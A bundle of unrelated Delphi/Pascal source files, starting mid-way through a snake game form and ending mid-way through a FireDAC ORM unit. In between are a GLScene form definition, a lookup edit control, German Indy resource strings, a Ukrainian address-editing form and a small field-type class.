procedure TMainForm.FormKeyDown(Sender: TObject; var Key: Word;
var KeyChar: Char; Shift: TShiftState);
var dx,dy:ShortInt;
begin
if Key=vkEscape then
Timer.Enabled:=not Timer.Enabled;
if TurnPassed then
Begin
if (Key=vkUp)or(CharInSet(keyChar,kUp)) then
Begin
if KeyPressed<>vkDown then
KeyPressed:=vkUp
End;
if (Key=vkDown)or(CharInSet(keyChar,kDown)) then
Begin
if KeyPressed<>vkUp then
KeyPressed:=vkDown
End;
if (Key=vkLeft)or(CharInSet(keyChar,kLeft)) then
Begin
if KeyPressed<>vkRight then
KeyPressed:=vkLeft
End;
if (Key=vkRight)or(CharInSet(keyChar,kRight)) then
Begin
if KeyPressed<>vkLeft then
KeyPressed:=vkRight
End;
dx:=0;
dy:=0;
case keyPressed of
vkLeft: dx:=-1;
vkRight: dx:=1;
vkUp: dy:=-1;
vkDown: dy:=1;
end;
Dir:=Point(dx,dy);
TurnPassed:=false;
End;
end;
procedure TMainForm.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Single);
var dx,dy:Single;
SnakeHeadX,SnakeHeadY:Single;
LftRt,UpDn:Single;
begin
{$IFNDEF ANDROID}
if PlayerEnabled then
Begin
dx:=ClientWidth/maxX;
dy:=ClientHeight/maxY;
SnakeHeadX:=Snake.Body.Last.X*dx;
SnakeHeadY:=Snake.Body.Last.Y*dy;
LftRt:=ABS(x-SnakeHeadX);
UpDn:=ABS(y-SnakeHeadY);
if LftRt>UpDn then
Begin
if x>SnakeHeadX then
Begin
if Dir<>Point(-1,0) then
Dir:=Point(1,0)
End
else
Begin
if Dir<>Point(1,0) then
Dir:=Point(-1,0)
End;
End
else
Begin
if y>SnakeHeadY then
Begin
if Dir<>Point(0,-1) then
Dir:=Point(0,1)
End
else
Begin
if Dir<>Point(0,1) then
Dir:=Point(0,-1)
End;
End
End;
{$ENDIF}
end;
procedure TMainForm.FormResize(Sender: TObject);
begin
TPainter.ReInit;
end;
procedure TMainForm.Button1Gesture(Sender: TObject;
const EventInfo: TGestureEventInfo; var Handled: Boolean);
begin
if EventInfo.GestureID=igiLongTap then Timer.Enabled:=not Timer.Enabled;
end;
procedure TMainForm.CalculateCollisions;
var
O,O2:TGameObject;
begin
for O in Objects do
for O2 in Objects do
if (O is TSnake)and(not(O as TSnake).collided) then
if O is TSnakeAI then (O as TSnake).AppleCollision
else
(O as TSnake).Collision(O2);
if (PlayerEnabled)and(not Snake.Disabled) and (Snake.Collided) then
Begin
Snake.Disabled:=true;
Timer.interval:=10;
//ShowMessage('GameOver!');
// Halt;
End;
end;
procedure TMainForm.FillWave;
var S:TGameObject;
begin
TSnakeAI.FillWave;
for S in Objects do
if S is TSnakeAI then
(S as TSnakeAI).FillWave_
end;
procedure TMainForm.MoveSnakes;
var S,O:TGameObject;
AllFinished:Boolean;
begin
for S in Objects do
if (S is TSnake){and(not (S as TSnake).Collided)} then
Begin
if not ((S as TSnake).Collided) then
Begin
FillWave;
(S as TSnake).Move(Dir);
End;
//CalculateCollisions;
End;
AllFinished:=true;
repeat
for S in Objects do
if S is TSnakeAI then
if not (S as TSnakeAI).WaveThread.Finished then AllFinished:=false
until AllFinished;
end;
procedure TMainForm.TimerTimer(Sender: TObject);
begin
MoveSnakes;
Redraw;
GetWinner;
TurnPassed:=true;
//if not Apple.AppleIsReal then
//Apple.Spawn;
end;
procedure TMainForm.Redraw;
var O:TGameObject;
Begin
TPainter.StartPaint;
for O in Objects do
O.Paint;
TPainter.Surface.Bitmap.Canvas.EndScene;
End;
procedure TMainForm.GetWinner;
var S:String;O:TGameObject;
begin
if Not WeveGotAwinner then
Begin
if ((PlayerEnabled)and(Not Snake.Disabled))and(TSnakeAI.Num=0) then
Begin
WeveGotAwinner:=true;
S:='Красный';
End
Else
if (
((PlayerEnabled)and(Snake.Disabled))
or(not PlayerEnabled)
)
and (TSnakeAI.Num=1) then
Begin
WeveGotAwinner:=true;
for O in Objects do
if O is TSnakeAI then
if not (O as TSnakeAI).Collided then
break;
S:=SnakeColorStrings[(O as TSnakeAI).Ind]
End;
if WeveGotAwinner then
Begin
//Timer.Enabled:=false;
ShowMessage('У нас есть победитель. Это '+S);
{$IFNDEF ANDROID}
//Halt;
{$ENDIF}
End;
End;
end;
end.
|
object Form1: TForm1
Left = 220
Top = 314
BorderStyle = bsSingle
Caption = 'MeshMorph'
ClientHeight = 604
ClientWidth = 854
Color = clBlack
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
KeyPreview = True
OldCreateOrder = False
OnCreate = FormCreate
OnKeyDown = FormKeyDown
OnShow = FormShow
PixelsPerInch = 96
TextHeight = 13
object vp: TGLSceneViewer
Left = 0
Top = 0
Width = 854
Height = 604
Camera = cam
Buffer.BackgroundColor = clWhite
Buffer.AmbientColor.Color = {0000003F0000003F0000003F0000803F}
Buffer.ContextOptions = [roDoubleBuffer, roRenderToWindow, roTwoSideLighting]
Buffer.FaceCulling = False
FieldOfView = 161.198440551757800000
Align = alClient
OnMouseDown = vpMouseDown
TabOrder = 0
end
object GLScene1: TGLScene
Left = 8
Top = 8
object cam: TGLCamera
DepthOfView = 100.000000000000000000
FocalLength = 50.000000000000000000
TargetObject = GLCube1
Position.Coordinates = {0000E0C00000A0400000A0C00000803F}
object light: TGLLightSource
ConstAttenuation = 1.000000000000000000
SpotCutOff = 180.000000000000000000
end
end
object dogl: TGLDirectOpenGL
UseBuildList = False
OnRender = doglRender
Blend = False
object mesh: TGLMesh
Material.BackProperties.Diffuse.Color = {0000803F00000000000000000000803F}
Material.FrontProperties.Ambient.Color = {0000803E0000803E0000803E0000803F}
Material.FrontProperties.Diffuse.Color = {0000803F0000803F0000803F0000803F}
Material.FrontProperties.Shininess = 17
Material.FrontProperties.Specular.Color = {0000803F0000803F0000803F0000803F}
Material.TextureEx = <
item
Texture.ImageClassName = 'TGLPicFileImage'
Texture.Image.PictureFileName = 'texture.bmp'
Texture.TextureMode = tmModulate
Texture.FilteringQuality = tfAnisotropic
Texture.Disabled = False
TextureIndex = 0
TextureScale.Coordinates = {0000C0400000C0400000803F00000000}
end>
Position.Coordinates = {0000A0C000000000000000000000803F}
Up.Coordinates = {000000A8FFFF7F3F0000000000000000}
Visible = False
Pickable = False
Mode = mmTriangleStrip
VertexMode = vmVNT
end
end
object dc_world: TGLDummyCube
CubeSize = 1.000000000000000000
object GLPlane1: TGLPlane
Material.FrontProperties.Diffuse.Color = {00000000F3F2F23E0000803F0000003F}
Material.BlendingMode = bmTransparency
Material.MaterialOptions = [moNoLighting]
Direction.Coordinates = {000000000000803F7AAC6AB400000000}
PitchAngle = 90.000000000000000000
Position.Coordinates = {000000000000A0C0000000000000803F}
Up.Coordinates = {0000802779AC6AB4FFFF7FBF00000000}
Height = 100.000000000000000000
Width = 100.000000000000000000
end
object GLCube1: TGLCube
Material.FrontProperties.Diffuse.Color = {A9A5253FB1A8283EB1A8283E0000803F}
Material.FrontProperties.Emission.Color = {EC51B83ECDCC4C3EEC51B83D0000803F}
end
end
end
object cad: TGLCadencer
Scene = GLScene1
Enabled = False
OnProgress = cadProgress
Left = 72
Top = 8
end
object at: TGLAsyncTimer
Enabled = True
Interval = 800
OnTimer = atTimer
Left = 40
Top = 8
end
end
|
{*******************************************************************************
* uSpravControl *
* *
* Библиотека компонентов для работы с формой редактирования (qFControls) *
* Работа со справочником (TqFSpravControl) *
* Copyright © 2005-2007, Олег Г. Волков, Донецкий Национальный Университет *
*******************************************************************************}
unit uSpravControl;
interface
uses
SysUtils, Classes, Controls, uFControl, StdCtrls, Graphics, uLabeledFControl,
DB, Registry;
type
TCallSpravEvent = procedure (Sender: TObject; var Value: Variant;
var DisplayText: String) of object;
TqFSpravControl = class(TqFLabeledControl)
private
FEdit: TEdit;
FButton: TButton;
FValue: Variant;
FDisplayTextField: String;
FOnOpenSprav: TCallSpravEvent;
procedure OnKey(Sender: TObject; var Key: Word; Shift: TShiftState);
protected
function GetValue: Variant; override;
procedure SetValue(Val: Variant); override;
procedure ButtonClick(Sender: TObject);
procedure PrepareRest; override;
procedure SetDisplayText(text: Variant);
function GetDisplayText: Variant;
procedure Change(Sender: TObject);
function GetKeyDown: TKeyEvent;
procedure SetKeyDown(e: TKeyEvent);
function GetKeyUp: TKeyEvent;
procedure SetKeyUp(e: TKeyEvent);
public
constructor Create(AOwner: TComponent); override;
function Check: String; override;
procedure Highlight(HighlightOn: Boolean); override;
procedure ShowFocus; override;
function ToString: String; override;
procedure Block(Flag: Boolean); override;
procedure Clear; override;
procedure Load(DataSet: TDataSet); override;
procedure OpenSprav;
procedure LoadFromRegistry(reg: TRegistry); override; // vallkor
procedure SaveIntoRegistry(reg: TRegistry); override; // vallkor
published
property OnOpenSprav: TCallSpravEvent read FOnOpenSprav write FOnOpenSprav;
property DisplayText: Variant read GetDisplayText write SetDisplayText;
property DisplayTextField: String read FDisplayTextField write FDisplayTextField;
property OnKeyDown: TKeyEvent read GetKeyDown write SetKeyDown;
property OnKeyUp: TKeyEvent read GetKeyUp write SetKeyUp;
end;
procedure Register;
{$R *.res}
implementation
uses qFStrings, Variants, Windows, qFTools, Dialogs;
function TqFSpravControl.GetKeyDown: TKeyEvent;
begin
Result := FEdit.OnKeyDown;
end;
procedure TqFSpravControl.SetKeyDown(e: TKeyEvent);
begin
FEdit.OnKeyDown := e;
end;
function TqFSpravControl.GetKeyUp: TKeyEvent;
begin
Result := FEdit.OnKeyUp;
end;
procedure TqFSpravControl.SetKeyUp(e: TKeyEvent);
begin
FEdit.OnKeyUp := e;
end;
procedure TqFSpravControl.Load(DataSet: TDataSet);
var
field: TField;
begin
inherited Load(DataSet);
if not Enabled then Exit;
if ( DataSet = nil ) or DataSet.IsEmpty then Exit;
field := DataSet.FindField(UpperCase(FDisplayTextField));
if ( field <> nil ) and ( not VarIsNull(field.Value)) then
DisplayText := field.Value;
end;
procedure TqFSpravControl.OnKey(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if ( ssCtrl in Shift) and ( Key = VK_RETURN ) then OpenSprav;
if ( Key = VK_BACK ) then Clear;
if ( ssCtrl in Shift ) and ( ssAlt in Shift ) and ( ssShift in Shift ) and
(Key = ord('Z')) then ShowMessage(Coalesce(FieldName,'') + ': ' +
Coalesce(ToString, 'Null'));
end;
procedure TqFSpravControl.Change(Sender: TObject);
begin
if not ( VarIsNull(Value) or VarIsEmpty(Value) ) then
Asterisk := False;
if Assigned(FOnChange) then FOnChange(Self);
end;
procedure TqFSpravControl.SetValue(Val: Variant);
begin
inherited SetValue(Val);
FValue := Val;
Change(Self);
end;
procedure TqFSpravControl.Clear;
begin
if not Blocked then
begin
inherited Clear;
DisplayText := '';
end;
end;
procedure TqFSpravControl.SetDisplayText(text: Variant);
begin
if not VarIsNull(text) then FEdit.Text := text
else FEdit.Text := '';
end;
function TqFSpravControl.GetDisplayText: Variant;
begin
Result := FEdit.Text;
end;
procedure TqFSpravControl.Block(Flag: Boolean);
begin
inherited Block(Flag);
FButton.Enabled := not Flag;
if Flag then
FEdit.Color := qFBlockedColor
else FEdit.Color := FOldColor;
FEdit.Repaint;
Repaint;
end;
procedure TqFSpravControl.Highlight(HighlightOn: Boolean);
begin
inherited Highlight(HighlightOn);
if HighlightOn then
FEdit.Color := qFHighlightColor
else
if FOldColor <> 0 then FEdit.Color := FOldColor;
Repaint;
end;
procedure TqFSpravControl.ShowFocus;
begin
inherited ShowFocus;
qFSafeFocusControl(FEdit);
end;
function TqFSpravControl.ToString: String;
begin
if VarIsNull(FValue) then Result := 'Null'
else
begin
Result := FValue;
if ( VarType(FValue) = varString ) or ( VarType(FValue) = varDate ) then
Result := QuotedStr(Result);
end;
end;
function TqFSpravControl.Check: String;
begin
if Required then
if VarIsNull(Value) then
Check := qFFieldIsEmpty + '"' + DisplayName + '"!'
else Check := ''
else Check := '';
end;
function TqFSpravControl.GetValue: Variant;
begin
Result := FValue;
end;
constructor TqFSpravControl.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FValue := Null;
FEdit := TEdit.Create(Self);
FEdit.Parent := Self;
FEdit.ReadOnly := True;
FEdit.OnKeyDown := OnKey;
FEdit.ShowHint := True;
FEdit.Hint := qFSpravHint;
FEdit.Color := qFSpravColor;
FOldColor := FEdit.Color;
FButton := TButton.Create(Self);
FButton.Parent := Self;
FButton.OnClick := ButtonClick;
FButton.TabStop := False;
PrepareRest;
end;
procedure TqFSpravControl.OpenSprav;
var
DisplayText: String;
begin
if not FButton.Enabled then Exit;
if Assigned(FOnOpenSprav) and Enabled then
begin
DisplayText := FEdit.Text;
FOnOpenSprav(Self, FValue, DisplayText);
FEdit.Text := DisplayText;
Change(Self);
end;
end;
procedure TqFSpravControl.ButtonClick(Sender: TObject);
begin
OpenSprav;
end;
procedure TqFSpravControl.PrepareRest;
begin
inherited;
FEdit.Width := Width - Interval - 3 - qFDButtonSize;
FEdit.Left := Interval;
FEdit.Top := (Height - FEdit.Height) div 2;
FButton.Width := qFDButtonSize;
FButton.Height := qFDButtonSize;
FButton.Left := Interval + FEdit.Width;
FButton.Caption := '...';
FButton.Top := (Height - FEdit.Height) div 2;
end;
procedure Register;
begin
RegisterComponents('qFControls', [TqFSpravControl]);
end;
procedure TqFSpravControl.LoadFromRegistry(reg: TRegistry); // vallkor
begin
inherited LoadFromRegistry(reg);
Value := Reg.ReadInteger('Value');
DisplayText := Reg.ReadString('DisplayText');
end;
procedure TqFSpravControl.SaveIntoRegistry(reg: TRegistry); // vallkor
begin
inherited SaveIntoRegistry(reg);
if not VarIsNull(Value) then
begin
Reg.WriteInteger('Value', Value);
Reg.WriteString('DisplayText', DisplayText);
end;
end;
end.
|
unit IdResourceStringsUriUtils;
interface
resourcestring
// TIdURI
RSUTF16IndexOutOfRange = 'Zeichenindex %d außerhalb des Bereichs, Länge = %d';
RSUTF16InvalidHighSurrogate = 'Zeichen bei Index %d ist kein gültiges, hohes UTF-16-Surrogat';
RSUTF16InvalidLowSurrogate = 'Zeichen bei Index %d ist kein gültiges, niedriges UTF-16-Surrogat';
RSUTF16MissingLowSurrogate = 'Ein niedriges Surrogat in UTF-16-Folge fehlt';
implementation
end.
|
unit BsEditCityArea;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, BsAdrSpr, BaseTypes, BsAdrConsts, cxLookAndFeelPainters, DB,
ActnList, FIBDataSet, pFIBDataSet, FIBQuery, pFIBQuery, pFIBStoredProc,
FIBDatabase, pFIBDatabase, cxMaskEdit, cxDropDownEdit, cxLookupEdit,
cxDBLookupEdit, cxDBLookupComboBox, cxLabel, cxControls, cxContainer,
cxEdit, cxTextEdit, StdCtrls, cxButtons, AdrEdit;
type
TfrmEditCityArea = class(TEditForm)
btnOk: TcxButton;
btnCancel: TcxButton;
CityAreaEdit: TcxTextEdit;
lblCityArea: TcxLabel;
lblPlace: TcxLabel;
PlaceBox: TcxLookupComboBox;
btnPlace: TcxButton;
EditDB: TpFIBDatabase;
eTrRead: TpFIBTransaction;
eTrWrite: TpFIBTransaction;
eStoredProc: TpFIBStoredProc;
EDSet: TpFIBDataSet;
ActionList1: TActionList;
ActOk: TAction;
ActCancel: TAction;
PlaceDSet: TpFIBDataSet;
PlaceDS: TDataSource;
procedure FormShow(Sender: TObject);
procedure ActCancelExecute(Sender: TObject);
procedure ActOkExecute(Sender: TObject);
procedure btnPlaceClick(Sender: TObject);
private
{ Private declarations }
function CheckData:Boolean;
public
{ Public declarations }
end;
var
frmEditCityArea: TfrmEditCityArea;
implementation
{$R *.dfm}
function TfrmEditCityArea.CheckData:Boolean;
begin
Result:=True;
if CityAreaEdit.Text='' then
begin
CityAreaEdit.Style.Color:=clRed;
agMessageDlg(WarningText, 'Ви не заповнили поле "Район міста"!', mtInformation, [mbOK]);
Result:=False;
end;
if VarIsNull(PlaceBox.EditValue) then
begin
PlaceBox.Style.Color:=clRed;
agMessageDlg(WarningText, 'Ви не обрали нас. пункт', mtInformation, [mbOK]);
Result:=False;
end;
end;
procedure TfrmEditCityArea.FormShow(Sender: TObject);
var s:string;
begin
try
if not VarIsNull(AddInfo[1]) then s:=IntToStr(AddInfo[1])
else s:='null';
PlaceDSet.Close;
PlaceDSet.SQLs.SelectSQL.Text:=PlaceSqlText+'('+IntToStr(AddInfo[0])+','+s+')'+OrderBy+'NAME_PLACE'+CollateWin1251;
PlaceDSet.Open;
if not VarIsNull(AddInfo[2]) then PlaceBox.EditValue:=AddInfo[2];
if not VarIsNull(KeyField) then
begin
EDSet.Close;
EDSet.SQLs.SelectSQL.Text:=frmCityAreaSqlText+'('+IntToStr(KeyField)+')'+OrderBy+'NAME_CITY_AREA'+CollateWin1251;
EDSet.Open;
CityAreaEdit.Text:=EDSet['NAME_CITY_AREA'];
PlaceBox.EditValue:=EDSet['ID_PLACE'];
Self.Caption:='Змінити район міста';
end
else Self.Caption:='Додати район міста';
except on E:Exception
do agMessageDlg(WarningText, E.Message, mtInformation, [mbOK]);
end;
end;
procedure TfrmEditCityArea.ActCancelExecute(Sender: TObject);
begin
CloseConnect;
ModalResult:=mrCancel;
end;
procedure TfrmEditCityArea.ActOkExecute(Sender: TObject);
begin
if CheckData then
begin
try
eTrWrite.StartTransaction;
eStoredProc.StoredProcName:='BS_CITY_AREA_INS_UPD';
eStoredProc.Prepare;
eStoredProc.ParamByName('ID_CITY_AREA_IN').AsVariant:=KeyField;
eStoredProc.ParamByName('NAME_CITY_AREA').AsString:=CityAreaEdit.Text;
eStoredProc.ParamByName('ID_PLACE').AsInteger:=PlaceBox.EditValue;
eStoredProc.ExecProc;
ReturnId:=eStoredProc.FieldByName('ID_CITY_AREA').AsInteger;
eTrWrite.Commit;
ModalResult:=mrOk;
except on E:Exception
do begin
agMessageDlg(WarningText, E.Message, mtInformation, [mbOK]);
eTrWrite.Rollback;
end;
end;
end;
end;
procedure TfrmEditCityArea.btnPlaceClick(Sender: TObject);
var sParam:TSpravParams;
frm:TfrmSprav;
str:String;
begin
if VarIsNull(AddInfo[1]) then str:='NULL'
else str:=IntToStr(AddInfo[1]);
sParam.FormCaption := 'Довідник населених пуктів';
sParam.SelectText := PlaceSqlText+'('+IntToStr(AddInfo[0])+','+str+')'+OrderBy+'NAME_PLACE'+CollateWin1251;
sParam.NameFields := 'Name_Place,Id_Place';
sParam.FieldsCaption := 'Населений пункт';
sParam.KeyField := 'Id_Place';
sParam.ReturnFields := 'Id_Place,Name_Place';
sParam.FilterFields:='Name_Place';
sParam.FilterCaptions:='Назва нас. пункту';
sParam.DbHandle:=EditDB.Handle;
sParam.frmButtons:=[fbAdd,fbModif,fbDelete,fbRefresh,fbSelect,fbExit];
sParam.DeleteProcName:='ADR_PLACE_D';
sParam.NameClass:='TfrmEditPlace';
sParam.AddInfo:=VarArrayCreate([0, 2], varVariant);
sParam.AddInfo[0]:=AddInfo[3];
sParam.AddInfo[1]:=AddInfo[0];
sParam.AddInfo[2]:=AddInfo[1];
frm:=TfrmSprav.Create(Self, sParam);
if frm.ShowModal=mrOk then
begin
if PlaceDSet.Active then PlaceDSet.Close;
PlaceDSet.Open;
PlaceBox.EditValue:=frm.Res[0];
end;
frm.Free;
end;
initialization
RegisterClass(TfrmEditCityArea);
end.
|
unit Objekt.Feld;
interface
uses
SysUtils, Classes, db;
type
TFeld = class
private
fName: string;
fTyp: TFieldType;
public
constructor Create;
destructor Destroy; override;
procedure Init;
property Name: string read fName write fName;
property Typ: TFieldType read fTyp write fTyp;
function TypAsString: string;
function TypIsString: Boolean;
function TypIsZahl: Boolean;
end;
implementation
{ TFeld }
constructor TFeld.Create;
begin
Init;
end;
destructor TFeld.Destroy;
begin
inherited;
end;
procedure TFeld.Init;
begin
fName := '';
fTyp := ftUnknown;
end;
function TFeld.TypAsString: string;
begin
Result := 'FEHLER!!!!';
if (fTyp = ftString) or (fTyp = ftBlob) then
Result := 'String';
if (fTyp = ftInteger) then
Result := 'Integer';
if (fTyp = ftFloat) then
Result := 'Real';
if (fTyp = ftBoolean) then
Result := 'Boolean';
if (fTyp = ftDateTime) then
Result := 'TDateTime';
end;
function TFeld.TypIsString: Boolean;
begin
Result := false;
if (fTyp = ftString) or (fTyp = ftBlob) then
Result := true;
end;
function TFeld.TypIsZahl: Boolean;
begin
Result := false;
if (fTyp = ftInteger) or (fTyp = ftFloat) then
Result := true;
end;
end.
|
unit API_ORM;
interface
uses
API_DB,
Data.DB,
FireDAC.Comp.Client,
FireDAC.Stan.Param,
System.Generics.Collections;
type
TEntityAbstract = class;
TEntityClass = class of TEntityAbstract;
TPrimaryKeyField = record
FieldName: string;
FieldType: TFieldType;
end;
TPrimaryKey = array of TPrimaryKeyField;
TRelType = (rtUnknown, rtOne2One, rtOne2Many);
TForeignKey = record
FieldName: string;
ReferEntityClass: TEntityClass;
ReferFieldName: string;
RelType: TRelType;
end;
TSructure = record
ForeignKeyArr: TArray<TForeignKey>;
PrimaryKey: TPrimaryKey;
TableName: string;
end;
TInstance = record
FieldName: string;
FieldType: TFieldType;
Value: Variant;
end;
TEachJoinEntProp = procedure(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string) of object;
{$M+}
TEntityAbstract = class abstract
private
FFreeListProcArr: TArray<TMethod>;
FInstanceArr: TArray<TInstance>;
FIsNewInstance: Boolean;
FStoreListProcArr: TArray<TMethod>;
class function GetInstanceArr(aQuery: TFDQuery): TArray<TInstance>;
class function GetPropNameByFieldName(aFieldName: string): string;
function CheckPropExist(aFieldName: string; out aPropName: string): Boolean;
function GetDeleteSQLString: string;
function GetInsertSQLString: string;
function GetInstanceFieldType(aFieldName: string): TFieldType;
function GetInstanceValue(aFieldName: string): Variant;
function GetEmptySelectSQLString: string;
function GetNormInstanceValue(aInstance: TInstance): Variant;
function GetNormPropValue(aPropName: string): Variant;
function GetPrimKeyFieldType(aFieldName: string): TFieldType;
function GetProp(aPropName: string): Variant;
function GetSelectSQLString: string; virtual;
function GetUpdateSQLString: string;
function GetWherePart: string; virtual;
procedure AddProcToArr(var aProcArr: TArray<TMethod>; aCode, aData: Pointer);
procedure AssignInstanceFromProps;
procedure AssignProps;
procedure AssignPropsFromInstance;
procedure CreateJoinEntity(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string);
procedure ExecProcArr(aProcArr: TArray<TMethod>);
procedure ExecToDB(aSQL: string);
procedure FillParam(aParam: TFDParam; aFieldName: string; aValue: Variant);
procedure ForEachJoinChildProp(aEachJoinEntProp: TEachJoinEntProp);
procedure ForEachJoinParentProp(aEachJoinEntProp: TEachJoinEntProp);
procedure FreeJoinEntity(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string);
procedure FreeLists;
procedure InsertToDB; virtual;
procedure ReadInstance(aPKeyValueArr: TArray<Variant>);
procedure SetProp(aPropName: string; aValue: Variant);
procedure StoreJoinChildEnt(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string);
procedure StoreJoinParentEnt(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string);
procedure StoreLists;
procedure UpdateToDB;
protected
FDBEngine: TDBEngine;
procedure AfterCreate; virtual;
procedure BeforeDelete; virtual;
public
class function GetStructure: TSructure; virtual; abstract;
class function GetTableName: string;
class procedure AddForeignKey(var aForeignKeyArr: TArray<TForeignKey>; aFieldName: string;
aReferEntityClass: TEntityClass; aReferFieldName: string = ''; aRelType: TRelType = rtUnknown);
class procedure AddPimaryKeyField(var aPrimaryKey: TPrimaryKey; aFieldName: string;
aFieldType: TFieldType);
function IsPropExists(const aPropName: string): Boolean;
procedure Delete;
procedure Revert;
procedure Store;
procedure StoreAll;
constructor Create(aDBEngine: TDBEngine); overload;
constructor Create(aDBEngine: TDBEngine; aInstanceArr: TArray<TInstance>); overload;
constructor Create(aDBEngine: TDBEngine; aPKeyValueArr: TArray<Variant>); overload;
destructor Destroy; override;
property IsNewInstance: Boolean read FIsNewInstance;
property Prop[aPropName: string]: Variant read GetProp write SetProp;
end;
{$M-}
TEntityFeatID = class abstract(TEntityAbstract)
private
FID: Integer;
function GetWherePart: string; override;
procedure InsertToDB; override;
public
constructor Create(aDBEngine: TDBEngine; aID: Integer = 0);
published
property ID: Integer read FID write FID;
end;
TEntityArray = TArray<TEntityAbstract>;
TEntityAbstractList<T: TEntityAbstract> = class(TObjectList<T>)
private
FDBEngine: TDBEngine;
FFilterArr: TArray<string>;
FForeignKeyArr: TArray<TForeignKey>;
FOrderArr: TArray<string>;
FOwnerEntity: TEntityAbstract;
FRecycleBin: TArray<T>;
function GetAsEntityArray: TEntityArray;
function GetSelectSQLString(aFilterArr, aOrderArr: TArray<string>): string;
procedure CleanRecycleBin;
procedure FillListByInstances(aFilterArr, aOrderArr: TArray<string>);
public
class function GetEntityClass: TEntityClass;
procedure Clear;
procedure Delete(const aIndex: Integer);
procedure Refresh;
procedure Remove(const aEntity: T); overload;
procedure Remove(const aIndex: Integer); overload;
procedure Store;
constructor Create(aDBEngine: TDBEngine; aFilterArr, aOrderArr: TArray<string>); overload;
constructor Create(aOwnerEntity: TEntityAbstract); overload;
constructor Create(aOwnerEntity: TEntityAbstract; aOrderArr: TArray<string>); overload;
destructor Destroy; override;
property AsEntityArray: TEntityArray read GetAsEntityArray;
property DBEngine: TDBEngine read FDBEngine;
end;
implementation
uses
API_Types,
System.SysUtils,
System.TypInfo,
System.Variants;
function TEntityAbstractList<T>.GetAsEntityArray: TEntityArray;
var
Entity: T;
begin
Result := [];
for Entity in Self do
Result := Result + [Entity];
end;
function TEntityAbstract.IsPropExists(const aPropName: string): Boolean;
var
PropInfo: PPropInfo;
begin
PropInfo := GetPropInfo(Self, aPropName);
if PropInfo <> nil then
Result := True
else
Result := False;
end;
procedure TEntityAbstractList<T>.Refresh;
begin
inherited Clear;
FillListByInstances(FFilterArr, FOrderArr);
end;
procedure TEntityAbstract.AfterCreate;
begin
end;
procedure TEntityAbstract.BeforeDelete;
begin
end;
constructor TEntityAbstract.Create(aDBEngine: TDBEngine);
var
VarArr: TArray<Variant>;
begin
VarArr := [];
Create(aDBEngine, VarArr);
end;
procedure TEntityAbstract.StoreJoinChildEnt(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string);
var
PropName: string;
ReferPropName: string;
begin
if not Assigned(aJoinEntity) then
Exit;
PropName := GetPropNameByFieldName(aFieldName);
ReferPropName := GetPropNameByFieldName(aReferFieldName);
aJoinEntity.Prop[ReferPropName] := Prop[PropName];
aJoinEntity.StoreAll;
end;
procedure TEntityAbstract.StoreJoinParentEnt(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string);
var
PropName: string;
ReferPropName: string;
begin
if not Assigned(aJoinEntity) then
Exit;
aJoinEntity.StoreAll;
PropName := GetPropNameByFieldName(aFieldName);
ReferPropName := GetPropNameByFieldName(aReferFieldName);
Prop[PropName] := aJoinEntity.Prop[ReferPropName];
end;
procedure TEntityAbstract.FreeJoinEntity(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string);
begin
if Assigned(aJoinEntity) then
FreeAndNil(aJoinEntity);
end;
procedure TEntityAbstract.CreateJoinEntity(aJoinEntity: TEntityAbstract; aEntityClass: TEntityClass;
aEntityPropName, aFieldName, aReferFieldName: string);
var
dsQuery: TFDQuery;
InstanceArr: TArray<TInstance>;
KeyValue: Variant;
PropName: string;
SQL: string;
begin
if aJoinEntity <> nil then
Exit;
PropName := GetPropNameByFieldName(aFieldName);
KeyValue := Prop[PropName];
if (VarToStr(KeyValue) <> '') and
(VarToStr(KeyValue) <> '0')
then
begin
SQL := 'select * from %s where %s = ''%s''';
SQL := Format(SQL, [
aEntityClass.GetTableName,
aReferFieldName,
VarToStr(KeyValue)
]);
dsQuery := TFDQuery.Create(nil);
try
dsQuery.SQL.Text := SQL;
FDBEngine.OpenQuery(dsQuery);
if not dsQuery.IsEmpty then
begin
InstanceArr := GetInstanceArr(dsQuery);
aJoinEntity := aEntityClass.Create(FDBEngine, InstanceArr);
SetObjectProp(Self, aEntityPropName, aJoinEntity);
end;
finally
dsQuery.Free;
end;
end;
end;
procedure TEntityAbstract.ForEachJoinChildProp(aEachJoinEntProp: TEachJoinEntProp);
var
ChildEntity: TEntityAbstract;
Entity: TEntityAbstract;
EntityClass: TEntityClass;
ForeignKey: TForeignKey;
ForeignKeyArr: TArray<TForeignKey>;
i: Integer;
PropCount: Integer;
PropClass: TClass;
PropList: PPropList;
PropName: string;
begin
PropCount := GetPropList(Self, PropList);
try
for i := 0 to PropCount - 1 do
begin
if PropList^[i].PropType^.Kind = tkClass then
begin
PropClass := GetObjectPropClass(Self, PropList^[i]);
if PropClass.InheritsFrom(TEntityAbstract) then
begin
EntityClass := TEntityClass(PropClass);
ForeignKeyArr := EntityClass.GetStructure.ForeignKeyArr;
for ForeignKey in ForeignKeyArr do
if (Self.ClassType = ForeignKey.ReferEntityClass) and
(ForeignKey.RelType <> rtOne2Many)
then
begin
PropName := GetPropName(PropList^[i]);
Entity := GetObjectProp(Self, PropName) as EntityClass;
aEachJoinEntProp(
Entity,
EntityClass,
PropName,
ForeignKey.ReferFieldName,
ForeignKey.FieldName
);
end;
end;
end;
end;
finally
FreeMem(PropList);
end;
end;
procedure TEntityAbstract.ExecProcArr(aProcArr: TArray<TMethod>);
begin
TMethodEngine.ExecProcArr(aProcArr);
end;
